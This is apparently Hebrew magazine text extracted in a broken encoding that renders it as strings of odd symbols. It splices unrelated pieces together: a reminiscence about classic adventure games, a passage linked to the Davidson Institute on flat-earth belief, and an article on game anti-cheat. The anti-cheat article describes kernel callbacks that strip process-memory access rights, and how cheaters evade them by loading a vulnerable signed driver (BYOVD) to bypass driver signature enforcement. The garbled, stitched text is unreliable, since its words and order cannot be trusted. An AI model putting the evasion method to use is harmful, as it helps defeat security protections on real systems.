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˶˟ˡ ˶ˣ˰ˢ˨ 
 

 

˟ ˟˷˥ˬ ˧˵˥˷ˬ˟ ˵˥˷˪ ˡˣ˞ˬ ˧˸˟ˢ˞ ,˭˦˵ ˧˸˧˧ˢ˷˩-286  ˢ˪˞ .˫˧˦˯ˣˣ˵ ˧˵˥˷ˬ ˧˸˟ˢ˞ ˶˵˧˰˟ .˧˪ ˢ˧ˢ˷

 ˫˧˵˥˷ˬ ˣ˧ˢ ˤ˞ ˪˷ ˫˧˦˯ˣˣ˵ˢ ˧˵˥˷ˬ .ˡˣ˞ˬ ˫˧˴ˣ˲ˮ ˣ˧ˢ ˫˰˲ ˨˞ ,˫˧˞ˣ˶ ˞˪ˣ ˦˰ˬ˩ ˶˟˩ ˫ˣ˧ˢ˷ ˫˧˵˥˷ˬ

 ˪˪˩ ˨˶ˡ˟ ,˸ˣˡ˧˥ˢ .˫˧˧˵˸ˬ ˵˥˷ˬˢ ˣ˟ ˫˪ˣ˰˟ ˸ˣˡ˧˥ ˶ˣ˸˲˪ ˭˵˥˷ˢ ˪˰ ˢ˧ˢ ,˫ˢ˟ ˫ˡ˵˸ˢ˪ ˸ˮˬ ˪˰˷

˱ˣ˸˧˷ ˣ˞ ˢˡˬ˸ˢ ,˵˧ˣˡˬ ˧˶˧ ,˸ˣˤ˧˶ˤ ˣ˷˶ˡ ˞˪  ˢˡ˧˥ ˶ˣ˸˲˪ ˥˧˪˴ˢ˪ ˦ˣ˷˲ ˞˪˞ ,˫˧ˮ˵˥˷ ˭˧˟ ˢ˪ˣ˰˲

 ˪˞ ˸˧˲˧˴˲˯ ˢ˶ˣ˴˟ ˸ˣˮˣ˷ ˸ˣ˪ˣ˩˧ ˸ˣ˪˰˟ ˸ˣˮˣ˷ ˸ˣ˧ˣˬˡ ˪˷ ˢ˪˰˲ˢ ˣ˞ ,˫˧ˮˣ˷ ˫˧˴˲˥ ˪˷ ˟ˣ˪˧˷ ˧"˰ ˢ˶ˤˣˬ

" ˫ˢ ˢ˟ˣ˦˪ ˧˪ ˫˧˶ˣ˩ˤ˷ ˫˧˦˯ˣˣ˵ .ˢ˧˴˞ˣ˦˧˯ˢ ˪ˣˬGobliiins" ,"Loom" ,"Day of the Tentacle" ,"The 

Neverhood ˷ˬˬ˷ ˡ˥˞ ˡˣ˰ˣ "."˵˯˧ˡˢ ˫˪ˣ˰" :˫˷˟ ,˧˸˟ˢ˞ 

 ,˟ˣ˦) ˫˧˵˥˷ˬˢ ˶˞˷ˬ ˸˩˷ˣˬ ˣ˞ ˸˥˸ˣ˲ˬ ˸ˣ˥˲ ˢ˵˧˲˶ˠ ˫˰ ˫˧˵˥˷ˬ ˣ˧ˢ ˪˪˩ ˨˶ˡ˟ ,ˢ˪˞ˢ ˫˧˵˥˷ˬˢ

" ˡ˟˪ˬ ˧˪ˣ˞The Neverhood ˨˶ˡ˟ ˫ˢ ˨˞ .˭˷˵˞ ˧˞˪ˬ ˣ˧ˢ ˞˪ ˫ˠˣ ,(...ˣ˸˲ˣ˵˸˟ ˡˣ˞ˬ ˫˧˷˶ˬ ˢ˧ˢ˷ ,"

.˫˧˧ˮ˷ˡ˥ˣ ˫˧˧˸˶˧˴˧ ˸ˣˮˣ˧˰˶ˣ ˸ˣ˟ˣ˦ ˸ˣˡ˧˥ ˣ˪˪˩ ˪˪˩ 

˶˩ˣˤ ˧ˮ˞ ˟˷- ˵˯˧ˡ .˵˯˧ˡ ...˭˩˟ˣ ...˪˷ ˢ˶ˣ˴˟ ˞ˣˢ˷ ˫˪ˣ˰ ˪˷ ˦˲˯ˮˣ˵˟ ˢˮˣ˷˞˶˪ ˧˸˪˵˸ˮ ,"˵˯˧ˡˢ ˫˪ˣ˰"

 ˧˸˧ˮˢˮ ˡˣ˞ˬˣ ,(˧˸˶˩ˢ ˞˪ ˡˣ˰ ,˵˥˷ˬˢ ˯˯ˣ˟ˬ ˫ˢ˧˪˰ ,˦'˴˞˶˲ ˧˶˦ ˪˷ ˫˧˶˲˯ˢ ˸˞) ˥ˣ˦˷ˣ ˪ˣˠ˰

.ˣ˟ ˫˧ˬˣ˪ˠˢ ˫˧ˮ˧˧ˮ˰ˬˢˣ ˫˧ˮˣ˷ˢ ˫˧˶'˴˧˲ˢˬˣ ˥ˣ˦˷ ˫˪ˣ˰ ˪˷ ˵˧˥˴ˬˢ ˭ˣ˧˰˶ˢ ˪˰ ˢ˟˷˥ˬˢˬˣ ˵˥˷ˬˢˬ 

 ˫˪ˣ˰˟ ˫˧˷ˮ˞ ˷˧˷ ˢˤˢ ˦˲˯ˮˣ˵˟ ,˪˪˩˟ˣ ,˵˯˧ˡˢ ˫˪ˣ˰ ˪˰ ˫˧˶˲˯˟ ˫ˠ ˧˸˪˵˸ˮ ,˭˩ˬ ˶˥˞˪ ˸ˣ˟˶ ˫˧ˮ˷

 ˫˸ˣ˞ .˵˯˧ˡˢ ˫˪ˣ˰˟ ˣˬ˩ ˵ˣ˧ˡ˟ ,˭˧˦ˣ˪˥˪ ˥ˣ˦˷ ˞ˣˢ ,ˣ˟ ˫˧˧˥ ˣˮ˞˷ ˫˪ˣ˰ˢ˷ ˫˧ˮ˧ˬ˞ˬ ˫˧ˬ˸˟ˣ ˸ˬ˞˟˷

˪˰ ˫˧ˬ˶ˣˠ ˣ˞ ,˫˧ˮˣ˷ ˪˷ˬˬ ˧ˬ˶ˣˠ ˧˩ ˫˧ˮ˧ˬ˞ˬ ,˥ˣ˦˷ ˣˮ˪˷ ˫˪ˣ˰ˢ ˧˩ ˢˮˣˬ˞ˢ ˧˪˰˟ ,˫˧˷ˮ˞- ˫˧˧˸ˮ˧ˡˬ

 ˸ˣ˶ˣˬ˷ˢ ˸ˣ˟˧˯ˬ ˧˶ˣˡ˩ ˣˮ˧ˢ ˳˶˞ˢ ˶ˣˡ˩ ˧˩ ˢˡˮ'ˠ˞ˢ ˸˞ ˫˧ˬˡ˵ˬ ,˧˦ˮ˧ˬˣ˪˧˞ˢ ˭ˣˠ˩ ,˪˷ˬˬ˪ ˫˧˧ˮˣ˴˧˥ˢ

.ˢ˵˯˧ˡ ˧ˣˬˡ ˫˴˰˟ ˞ˣˢ ˫˪ˣ˰ˢ˷ ˢˡ˟ˣ˰ˢ ˸˞ ˷˦˷˦˪ ˨˩˟ˣ ,˫ˬ˧˰ 

 ˧˸˪˵˸ˮ ,˷ˡˣ˥ˢ˞˟ˢ ˶ˣ˵˧˯˟ ˪˷ ˶˸˞˟ ,˧˰ˡˬ ˨ˣˮ˧˥˪ ˭ˣ˯ˡ˧ˣˡ ˭ˣ˩ˬ.  ˢˮ˷ ˫ˠˣ) ˭ˣ˶˥˞ˢ ˶˟ˬ˟ˣˮ˟˷ ˶˟˸˯ˬ

˩ ˧ˮ˲˪ ˣ˸ˣ˞ ˫˧ˮ˧˧ˮ˰ˬ ˫˷ ˢ˧ˢ ˢˬ ˪˰ ˫˧˦˶˲ˢ˷ ˧ˬ ˸˞ ."ˢ˥ˣ˦˷ˢ ˳˶˞ˢ ˸ˡ˧˰ˣ" ˳˶˞˟ ˢˬ˧˧˵˸ˢ ,(˭- 

.˫ˢ˧˪˰ ˠ˪ˡ˞ ˭˩˪ˣ ,˶˵˧˰ˢ ˞˪ ˧˸ˮ˧˥˟ˬ ˫ˢ ˨˞ .ˢ˲˧ ˢ˶ˣ˴˟ ˫˸ˣ˞ ˸ˬ˩˯ˬ ˢ˟˸˩ˢ 

 ˧˲˸˸˷ˬ ˫˸ˣ˞ ˡ˴˧˩ ˪˰ "˫˧˧˰ˡˬ" ˫˧˶ˣ˞˧˸˟ ˢ˞˪ˬ ˢ˟˸˩ˢ˷ ˢˡ˟ˣ˰ˢ ˞ˣˢ ˰˧˸˲ˢ ˶˵˧˰˟ ˧˸ˣ˞˷ ˢˬ

˦˷ ˫˪ˣ˰ˢ˷ ˫˧˥˧˩ˣˬ ˢˡ˧˰ˣˢ ˫˧ˮ˷ ˢˤˬ ˣ˩˶˲ˣˢ˷ ,˭˧ˬˣ˧ ˸ˣ˵˧˸˰ˣ ˸ˣ˧ˣˠ˷ ˸ˣ˧˶ˣ˞˧˸ ˫˧˥˟˷ˬ ˱˞ˣ) ˥ˣ

 ˭ˣˠ˩ ,˶ˣ˲˯ˮ˧˞˧˶˦ˮ˴ˣ˞˧ˠˢ ˪ˡˣˬˢ ˫˧˧˰ˡˬ ˫˧˶ˣ˞˧˸˟ ˷ˣˬ˧˷ .(˯ˣ˵˧ˮ˶˲ˣ˵ ˪˷ ˣ˧˧˥ ˧ˬ˧˟ ˡˣ˰ ˨˶˲ˣˢ˷ ,

 ˦ˣ˷˲ ˫ˢ .˸ˣˮ˵˯ˬ ˸˵˯ˢ˪ ˧˰˴ˬ˞˩ ˢ˵˧ˠˣ˪˟ ˫˧˷ˬ˸˷ˬ ˫˧˲˸˸˷ˬ ˫˸ˣ˞ ˧˩ ˨˩ ˪˰ ˡ˧˰ˬ ˢˡ˧˰ˣˣ ˢ˸ˣ˞˟

...ˢ˵˧ˠˣ˪˟ ˫˧˷ˬ˸˷ˬ .˸˪˟ˣ˵ˬˢ ˣˤˬ ˢˮˣ˷ ˦˰ˬ ,ˬˬ˞ 

 ˡ˯ˬˬˢ˷ ˞˧ˢ ˸˧˶ˣ˵ˬˢ ˢˮ˰˦ˢ ˧˩) ˫˧ˮ˧˧ˣˣ˪ˬ ˫˧˰˧ˠˬˢ ˫˧ˮˣ˸ˮ˟ ˪˩˸˯ˢ˪ ˡ˟˪ˬ˷ ˢˤ ˸˞ ˣ˟ˤ˰ ,ˣ˧˷˩˰

 ˭˸˧ˮ ,(ˣ˸ˬ˞˧ ˫ˢ˪˷ ˫˧ˮ˧˧ˣˣ˪ˢ˷ ˢˬ ˢˤ˷ ˶ˣ˶˟ ,˭˩˪ˣ ,˪ˣˠ˰ ˳˶˞ˢ ˶ˣˡ˩˷ ˢˮ˰˦ˢ ˸˞ ˣˮ˪ "˶ˣ˩ˬ˪" ˢ˯ˮˬ

https://davidson.weizmann.ac.il/online/firefly/%D7%95%D7%A2%D7%99%D7%93%D7%AA-%D7%94%D7%90%D7%A8%D7%A5-%D7%94%D7%A9%D7%98%D7%95%D7%97%D7%94-%D7%95%D7%A7%D7%95%D7%A0%D7%A1%D7%A4%D7%99%D7%A8%D7%A6%D7%99%D7%95%D7%AA-%D7%90%D7%97%D7%A8%D7%95%D7%AA
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˞ˢ ˶ˣˡ˩˷ ˥˩ˣˣ˧ˢ˪ ˸ˮˬ ˪˰ "˫˧˧˸˧˟" ˫˧˧ˣ˯˧ˮ ˦˰ˬ ˞˪ ˰˴˟˪ ˞˧ˢ ˶˸ˣ˧˟ ˢ˦ˣ˷˲ˢ ˢˬˠˣˡˢ .˥ˣ˦˷ ˣˮ˧˞ ˳˶

˩ ˢ˶ˣ˵˷ ˰ˣ˶˧˞) ˥˶˧ ˧ˣ˵˧˪˪ ˸ˣ˩˥˪-2-3 ˟ ˢ˧ˢ˧ ,˟ˠ˞ ,˳˶˞ˢˬ ˣ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˞˟ˢ .ˢˮ˷˟ ˫˧ˬ˰˲-7 

 ˣ˰˴˟˸ ˫˞ .ˢ˪ˣˠ˰ ˢ˶ˣ˴ ˪˷ ˪˴ ˞ˣˢ ˥˶˧ˢ ˪˰ ˪˧˦ˬ ˳˶˞ˢ ˶ˣˡ˩˷ ˪˴ˢ˷ ˸ˣ˞˶˪ˣ ,(˟ˣ˶˵ˢ ˶˟ˬ˦˲˯˟

 ˢ˶ˣ˴ ˪˷ ˞ˣˢ ˪˦ˣˬˢ ˪˴ˢ ,˧ˣ˵˧˪ ˪˩˟˷ ˞˪˞ ,˧˶˵ˬ ˞˪ ˢˤ˷ ˸ˣ˞˶˪ ˣ˥˩ˣˣ˧˸ ,˪˴ˢ ˸˶ˣ˴ ˪˰ ˫˧˟˵˰ˬ ˵˧˲˯ˬ

 ˢˡ˧˥˧ˢ ˢ˶ˣ˴ˢ˷ ˰˧˸˲ˬ ˢˬ˩ˣ .˳˶˞ˢ ˶ˣˡ˩ ˪˷ ˸˧ˣˣˤ ˢˤ˧˞ˬ ˣ˞ ˢˮˣ˰ ˢˤ˧˞˟ ˢˮ˷ˬ ˞˪ˣ ,ˢ˪ˣˠ˰ ˢˮ˷ˬ ˞˪˷

 ˶˞˷˷ ˞˧ˢ ˸ˣ˞˶˪ ˶˷˲˞˷ ˸˲˯ˣˮ ˞ˬˠˣˡ ,˟ˠ˞ .˶ˣˡ˩ ...˞˧ˢ ˪ˣˠ˰ ˪˴ ˪˧˦˸ ˡ˧ˬ˸ ˞˧ˢ ,ˢ˸ˣ˞ ˣ˟˟ˣ˯˸ ˨˧˞

 ˧ˬ˶ˠ ˶˞˷ˬ ˢˮˣ˷ ˢ˶ˣ˴˟ ˥˸˲˸ˢ ˳˶˞ˢ ˶ˣˡ˩˷ ˟ˣ˷˥˪ ˢ˟˧˯ ˫ˣ˷ ˣˮ˪ ˭˧˞ˣ .˫˧˧˶ˣˡ˩ ˫ˢ ˫˧˧ˬ˷ˢ ˧ˬ˶ˠ

.˫˧ˡ˥ˣ˧ˬ ˞˪ ˦ˣ˷˲ ˣˮ˥ˮ˞ ˧˩ ?ˢˬ˪ .˫˧ˬ˷ˢ 

˧ˮ˧ˬ˞ˬ ˫˸ˣ˞˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˢˤ ˨˧˞ ˤ˞  ,"˸ˣ˧˰ˡˬˣ" ˸ˣ˧ˠˣ˪ ˸ˣˮ˟ˣ˸˟ ˫˧˪ˠˣˡ ˭˩˷ ,ˢ˥ˣ˦˷ˢ ˳˶˞ˢ ˪ˡˣˬ

 ˞˧ˢ ˸ˣ˧ˤ˩˶ˬˢ ˸ˣˡ˷˥ˢ ˸˥˞ ?˫˧˧˸˧˟ ˫˧˰˴ˬ˞ ˧ˡ˧ ˪˰ ˥˧˩ˣˢ˪ ˭˸˧ˮ˷ ˸ˣ˰˦ ˸˞ˤ˩˟ ˭˧ˬ˞ˢ˪ ˫˧˶˥ˣ˟

 ˫˞ ˫ˠ ˪˟˞ .ˢ˟ ˫˧˵˧ˤ˥ˬ ˪ˣ˩˧˟˩ ˫ˢ˷ ˢ˰ˡ˟ ˫˧ˮ˧ˬ˞ˬ ˸ˬ˞˟ ˞˪ ˫ˢ˷ˣ ,"˫˧˪ˣ˶˦" ˦ˣ˷˲ ˡˣ˞ˬ ˢ˟˶ˢ˷

ˬ ˭˩˷ ˢˬ˩ ˷˧˷ ˢ˞˶ˮ˩ ,˫˸ˣ˞ ˡ˧˶ˣˮ ,ˢ˞˶ˮˢ ˪˩˩˷ ,˧˸˰ˡ˪ ,˞˧ˢ ,˨˩˪ ˢ˟˧˯ˢˣ .ˢ˰ˡˢ ˢ˸ˣ˞˟ ˫˧ˮ˧ˬ˞

 ˨˶ˣ˴ ˣˢ˷ˤ˧˞ ˫˪˴˞ ˸ˣ˞˪ˬˬ ,ˢˮˣˬ˞ ˢ˸ˣ˞ ˪˷ ˨ˣˣ˸ˢ ˧ˡˣˬ˰ ˸˞ ˸ˣˣˢˬ˷ "˸ˣ˧˰ˡˬ ˸ˣˡ˟ˣ˰" ˭˸ˣ˞ˬ ˢ˟˶ˢ

 ˫ˢ˷ ˢˤ˩ ,"˧˷ˠ˶ ˸ˬ ˥˦˷" ˣˢ˷ˤ˧˞ ˫˪˴˞ ˶˴ˣ˧ ˢˤˢ ˨˶ˣ˴ˢˣ .ˢ˶ˣˢ˦ ˢ˵˧ˠˣ˪˟ ˸ˬ˞˟ ˶˟ˣˡˬ ˞˪˷ˣ ,˧˷ˠ˶

˪˰ ˪˩˸˯ˢ˪ ˫˧˪ˠˣ˯ˬ ˸ˬ˞˟ ˞˪.˶˧ˢ˟ ˭˲ˣ˞˟ ˣ˧ 

 ˫˧˸ˬ ˫˧˥˦˷" ˢ˪˞˩ ˷˧ ˣˮ˪ˣ˩˪˷ ˞˧ˢ ˧˪˷ ˢˮ˰˦ˢ ˪˟˞ ,˨˶˲ˣˬ ˣ˞ ,˪ˤ˪ˤˬ ˧˪ˣ˞ ˰ˬ˷ˮ ˢˤ ˫˩˵˪˥˪

 ˫˧˯˥˧˧˸ˬ ˣˮ˥ˮ˞˷ ˸ˣˡˣ˵ˮ ˦ˣ˷˲ ˭ˢ˷ ,ˢˡˣ˟˰˟ ˣ˞ ,˫˧˧˸˶˟˥ˢ ,˫˧˧˦˶˲ˢ ˫˧˧˥˟ ˸ˣˡˣ˵ˮ ˣˮ˪ ˷˧˷ˣ ,"˫˧˧˷ˠ˶

˟ ˣˮ˪˴˞ ˸ˣˮ˯˲ˣ˞ˬ ˸ˣˡˣ˵ˮˢ ˭˸ˣ˞ ˣˮ˸ˮ˧˥˟ˬ˷ˣ ,˸ˣ˧ˠˣ˪ ˸ˣˡˣ˵ˮ ˪˞˩ ˭ˢ˧˪˞ ˣ˵ˡ˟ˮ˷ ˸ˣˡˣ˵ˮ ˶ˣ˸˟ ˷˞˶

.ˢ˪˞˩ ˭ˢ˷ ˢˡ˟ˣ˰˟ ˶˧˩ˢ˪ ˡˣ˞ˬ ˣˮ˪ ˢ˷˵ ˦ˣ˷˲˷ˣ ˭˧˦ˣ˪˥˪ ˸ˣ˧˷ˠ˶ ˸ˣˡˣ˵ˮ ˫˴˰˟ ˭ˢ ˨˞ ,ˢ˩˪ˢ˩ˣ ˢˡ˧˲˵˟ 
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 ˸ˣˮ˩ˣ˸ ˪ˣˬ ˧ˣ˪ˠ˟ ˧ˣ˟˥Anti Cheat 

 ˪˞˧˶˞ ˸˞ˬ˧˶˦ 

 

ˢˬˡ˵ˢ 
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 ˸ˣ˦˧˷ ˪˷ ˟˥˶ ˭ˣˣˠˬ ˣ˥˸˧˲ ˫˧ˡˡ˴ˢ ˧ˮ˷ ,ˢˤˢ '˶˟˩˰ˢˣ ˪ˣ˸˥ˢ ˵˥˷ˬ' ˨˪ˢˬ˟ .˭˸ˣ˞ ˱ˣ˵˰˪ ˫˧˯ˮˬˢ
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 ˰ˣˮˬ ˸ˣ˰˴ˬ˞˟ ˶ˡˣˢˬ ˵˥˷ˬˢ .˵˥˷ˬ˪ ˢˮˠˢ ˸˟˩˷ ˶ˣ˸˟JIT -  ,˨˷ˬˢ˟ ˶ˬˣ˞ ˞ˣˢ ˢˬ ˭˧˟ˮ˷ ˥ˮˣˬ
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(˨˷ˬˢ˟ ˦˰ˬ ˢˤ˟ ˰ˠˮ ,˫˧˶˟˧˧˶ˡ ˫ˠ ˫˧˸˧˰˪ˣ) ˸ˣˮ˩ˣ˸ ˭ˢ ˸ˣ˞ˬ˶ ˡˠˮ ˸ˣˮ˩ˣ˸,  ˡ˴˪ ˸ˣ˴˶ˣ ˸ˣˮ˵˸ˣˬˢ

˥ˣ˵˪ˢ ˡ˴˟ ˟˷˥ˬˢ ˵˥˷ˬ. ,˱˯ˣˮ˟ ˟ˣ˶˪ ˭ˢ  ˣ˞ ˵˥˷ˬˢ ˵˲˯ ˪˷ ˸˶˷ˢ ˡ˴˟ ˶ˣ˦˧ˮ ˸ˣ˩˶˰ˬ ˫ˠ ˸ˣ˪˪ˣ˩

˰ ˟ˣ˷˥˪ ˭˸˧ˮ .˭˵˥˷ˢ ˪˷ ˢˡˣ˷˥ ˸ˣˠˢˮ˸ˢ ˸ˣˢˤˬ ˶˷˞ ,ˢˮˠˬˢ ˢˮ˩ˣ˸ˢ ˵˲˯˧˦ˮ˞" ˭˧˰ˬ˩ ˭ˢ˧˪- "˯ˣ˶˧ˣ

˟˷˥ˬ ˧˵˥˷ˬ ˶ˣ˟˰ ˡ˥ˣ˧ˬ˟ ˸ˡ˰ˣ˧ˬ˷ .˧˦ˮ˞ ˸ˣˮ˩ˣ˸˪ ˢ˞ˣˣ˷ˢ˟ ,˸˞ˤ ˫˰-ˣ ˯ˣ˶˧ˣ-EDR (Endpoint 

Detection and Response) Σ ˵ˣ˧ˡ˟ ˸ˣ˰ˡˣ˧ ˭ˢ˷ ˭ˣˣ˧˩ ,˶˸ˣ˧ ˫˴ˬˣ˴ˬ ˸ˣ˞ˬ˶ ˡˠˮ ˸ˣˮ˩ˣ˸ ˪˷ ˶ˣ˦˧ˮˢ ˫ˣ˥˸

˸ˣˮˠˬ ˭ˢ ˣ˧˪˰˷ ˵˥˷ˬ˪ ˸ˣ˩˧˧˷ ˸ˣ˪ˣ˰˲ ˣ˪˧˞. ˧˦ˮ˞ ˸ˣˮ˩ˣ˸˷ ˡˣ˰˟- ˸˥˸ ˧ˣˢ˧ˤ ˫˰ ˡˡˣˬ˸ˢ˪ ˸ˣ˩˧˶˴ ˯ˣ˶˧ˣ

ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˨˧˪ˢ˸ ˪˩. 
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 .˵˥˷ˬˢ 

˸ˣ˞ˬ˶ ˰ˣˮˬ˪ ˸ˣ˧˯˧˯˟ ˫˧˩˶ˡ 

 ˭ˮ˧˞ ˶˷˞ ˸ˣ˞ˬ˶ ˸ˣˮ˩ˣ˸ ˪˰ ˥ˣˣˡ˪ˣ ˪˩˯˪ ,˰ˣˮˬ˪ ˫˧˩˶ˡ ˶˲˯ˬ ˸ˣˬ˧˧˵ ,ˢˮˠˢˢ ˸ˣˮ˩ˣ˸ ˧˟˸ˣ˩ ˶ˣ˟˰

 ,˵˥˷ˬˢ ˨˧˪ˢ˸ ˪˷ ˭ˣ˶˩˧ˤˢ ˸˲ˬ ˪˷ ˸˧˶ˣˤ˥ˬ ˢ˵˧ˡ˟ ˣ˪˪˩˧ ˫˧˩˶ˡ ˢˬ˩˪ ˸ˣ˞ˬˠˣˡ .˸ˣˬ˩˥ˣ˸ˬ˞ˣˡ˧ˣˣ 
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˵˯˧ˡˢ ˭ˮˣ˩˟ ˫˧˶ˣˬ˷ˢ, .˵˥˷ˬˢ ˪˷ ˶ˣ˵ˬˢ ˡˣ˵ ˸˞ ˨˶˰ ˞˪ ˧˷˧˪˷ ˡ˴ ˱ˣˠ ˫ˣ˷˷ ˞ˡˣˣ˪ ˧ˡ˩˟ 

 ˭ˣˠ˩) ˢˮˠˢˢ ˸ˣ˶˟˥ ˸ˣ˷ˬ˸˷ˬ ˭ˢ˟ ˢ˴ˣ˲ˮ ˨˶ˡBattleye˟) ˶˟˧˧˶ˡ ˸ˣ˴˧˶ˬ ˶˷˞ ( ˸ˣ˦˷˲-  ˡˣ˵ ˸˯˧˲

 ˸ˬ˶˟ ˢ˴˶ ˶˷˞-sKernel  ˸ˬ˶˟ ˸˞˴ˬˮˢ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˰˴˟˪ ˞˧ˢ ,(ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷-sKernel 

˫˷˟-ObRegisterCallbacks. ˶˸˞˟ ˰˧˲ˣˬˢ ˡˣ˰˧˸˟ ˟ˣ˸˩˷ ˧˲˩ ,ˢ˧˴˵ˮˣ˲ˢ ˢ˸ˣ˞-MSDN ˢ˲˯ˣˢ ˸˰˴˟ˬ ,

 ˸˧˧˴˵ˮˣ˲ ˪˷Callback ˫˧˩˧˪ˢ˸ ˭ˣˠ˩ ˫˧˦˵˧˧˟ˣ˞ ˪˰ ˸ˣ˰˴ˣ˟ˬˢ ˸ˣ˪ˣ˰˲ ˶ˣ˟˰ ,Threads ,-xHandle-˫˧Υ 
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˫˧˦˵˧˧˟ˣ˞ ˫˸ˣ˞ ˪˰ ˸ˣ˰˴ˣ˟ˬˢ ˸ˣ˪ˣ˰˲ ,˶ˬˣ˪˩, ˢ ˸˧˧˴˵ˮˣ˲ ˪˷ ˢ˞˧˶˵˪ ˣˬ˶ˠ˧-Callback  ˶˧ˡˠˢ ˢ˸ˣ˞

 ˢ˪˲ˢ ˸˶˷˲˞ˬ ˞˧ˢ˷ ˫ˣ˷ˬ ,ˢ˵ˤ˥˩ ˸˟˷˥ˮ ˦˪˥ˢ˟ ˣˤ ˸˪ˣ˩˧ .ˢˡˣ˷˥ ˸ˣˠˢˮ˸ˢ ˷˲˥ˬ ˶˷˞ ˶˟˧˧˶ˡˢ

 ˸˶˧˴˧˪ ˸ˣ˷˵˟ ˪˷ ˢ˞˪ˬHandle ˢ ˸ˬ˶˟ ˳˶˷ ˨˧˪ˢ˸ ˪˩ˬ-Usermode.  ˸ˣ˪˵˟ ˭ˮ˯˪ ˫˧ˮˠˬˢ ˫˧˪ˣ˩˧ ˨˩

˸˶˧˴˧˪ ˸ˣ˷˵˟Handle  ˟˷˥ˬˢ ˵˥˷ˬ˪ ˭ˣ˶˩˧ˤˢ ˸˞˧˶˵ˣ ˢ˟˧˸˩˪ ˢ˷˧ˠ ˶˷˲˞ˬˢ,  ˡ˥˞ ˣ˶˧˟˰ˢˣ ˢˡ˧ˬ˟

˫˧˞˟ˢ ˫˧˶˦ˬ˶˲ˢˬPROCESS_VM_OPERATION : ,PROCESS_VM_READ ,PROCESS_VM_WRITE. 

ˢ ˸ˬ˶ˬ ˵˥˷ˬˢ ˭ˣ˶˩˧ˤ˪ ˢ˞˧˶˵ˣ ˢ˟˧˸˩ ,˭˩˪-Usermode ˸ˣ˥˲˪) ˸˧˶˷˲˞ ˢˮ˧˞ , ˢ˷˪ˣ˥ ˪ˣ˴˧ˮ ˞˪˪

 ˧˸ˣ˶˧˶˷ ˭ˣ˶˩˧ˤ ˟ˣ˸˩˪ ˳˪˞ˮ ,˫˧˲˵ˣ˸˩ ˫ˣ˧ ˪˷ ˣ˲ˣ˯˟ ˧˶ˢ ?˞˷ˣˮ˟ ˸ˣ˷˰˪ ˭˸˧ˮ ˢˬ ,˭˩˟ˣ .(˧ˢ˷˪˩ ˸˧˶˦ˣˤ˞

 ˸ˬ˶˟ ˳˶ ˶˷˞ ˶˟˧˧˶ˡ˟ ˷ˬ˸˷ˢ˪ ˨˶˦˴ˮ ,ˣˤ ˢ˟˧˯ ˪˪ˠ˟ .˧ˮˣˡˤ ˡˣ˵ ˳˧˶ˢ˪ ˪˧˟˷˟ ,˵˥˷ˬ˪-sKernel ˤ˞ˣ ,

˵˪ˣ ˟ˣ˸˩˪ ˪˩ˣˮˣ ,˵˥˷ˬˢ ˭ˣ˶˩˧ˤ ˥ˣˣ˦˪ ˢ˞˪ˬ ˢ˷˧ˠ ˣˮ˪ ˢ˧ˢ˸.˸ˣ˧˷˲ˣ˥˟ ˣˮˬˬ ˞ˣ˶ 

ˣˤˢ ˢ˧˰˟ˢ ˸˞ ˵ˣ˧ˡ˟ ˶ˣ˸˲˪ ˪˧˟˷˟,  ˧ˡ˩˟ ,˧˷˧˪˷ ˡ˴ ˫˶ˣˠˬ ˶˟˧˧˶ˡ˟ ˢ˷˪ˣ˥ ˶˥˞˪ ˰˯ˬ˟ ˸˩˪˪ ˧˸˦˪˥ˢ

 ˸˦˧˷ ˸˞ ˷ˬˬ˪BYOVD (Bring your own vulnerable driver) ˶ˬ˞ˬ˟ ˞ˣ˶˵˪ ˭˸˧ˮ ˶˟˩ ˢ˦˧˷ ˢ˸ˣ˞ ˪˰ .

"˱˵˰ˬ DSE  ˸˦˧˷ ˸˶ˤ˰˟BYOVD ˭˩ ˨˞ ,˷˶ˡˮ˪ ˶˟˰ˬ ˢ˟ ˵˧ˬ˰ˢ˪ ˞˪˷ ˶˥ˣ˟ ˧ˮ˞ ˭˩˪ˣ ,˸˪˧ˠ ˧˷ ˸˞ˬ "

.ˣˮ˪ ˸ˬ˶ˣ˸ ˞˧ˢ ˡ˴˧˩ˣ ,ˢ˸ˣ˞ ˫˧˰˴˟ˬ ˡ˴˧˩ ˢ˶˴˵˟ ˶˧˟˯˞ 

 

ˢ˷˪ˣ˥ ˪˰˟ ˶˟˧˧˶ˡ ˪ˣ˴˧ˮ 

 ˢ˦˧˷ˢBYOVD ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˢ˷˪ˣ˥ ˪˰˟ ˶˟˧˧˶ˡ ˪˷ ˢˮ˧˰˦ ˪˰ ˸˯˯˟˸ˬ.  ˧ˡ˧ ˪˰ ˶˷˲ˣ˞ˬ ˢˤ ˶˟ˡ

˯ˣˡˮ˧ˣˣ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ,  ˡ˴ ˶˟˧˧˶ˡ˟ ˶˟ˣˡˬ ˫˞ ˫ˠ ,˨ˬ˯ˣˬ ˫˶ˣˠ ˧ˡ˧ ˪˰ ˫ˣ˸˥ ˣˮ˧ˢ ˶˟˧˧˶ˡˢˣ ˢˡ˧ˬ˟

ˢ˷˪ˣ˥ ˢ˸ˣ˞ ˸˞ ˪˴ˮ˪ ˭˸˧ˮ ,˭ˣ˰˦ ˶˟˧˧˶ˡˢ˷ ˶˥˞˪ .˦˲ˣ˯ˣ˶˵˧˧ˬ ˢ˶˟˥ˢ ˧ˡ˧ ˪˰ ˶˴ˣˮ ˞˪˷ ˧˷˧˪˷.  ˭˟ˣˬ˩

ˣˡˬ ˢ˧ˢ˧ ˫˧˶˵ˬˢ ˟ˣ˶˟ ˨˞ ,ˢ˷˪ˣ˥ˢ ˠˣ˯˟ ˧ˣ˪˸ ˣˬ˴˰ ˪ˣ˴˧ˮˢ˷ ˸˷˪ˣ˥˟ ˶˟Buffer overflow  ˣ˞ ,˧ˢ˷˪˩

 ˸˞˶ˣ˵ ˣ˞ ˸˟˸ˣ˩ˣ ,ˢ˪ ˫˧˵˲˯ˬ˷ ˸˟ˣ˸˩ ˫˰ ˟˷˥ˬˢ ˭ˣ˶˩˧ˤ˪ ˢ˶˧˷˧ ˢ˷˧ˠ ˸˰˴˟ˬ ˶˷˞ ˢ˧˴˵ˮˣ˲ ˦ˣ˷˲

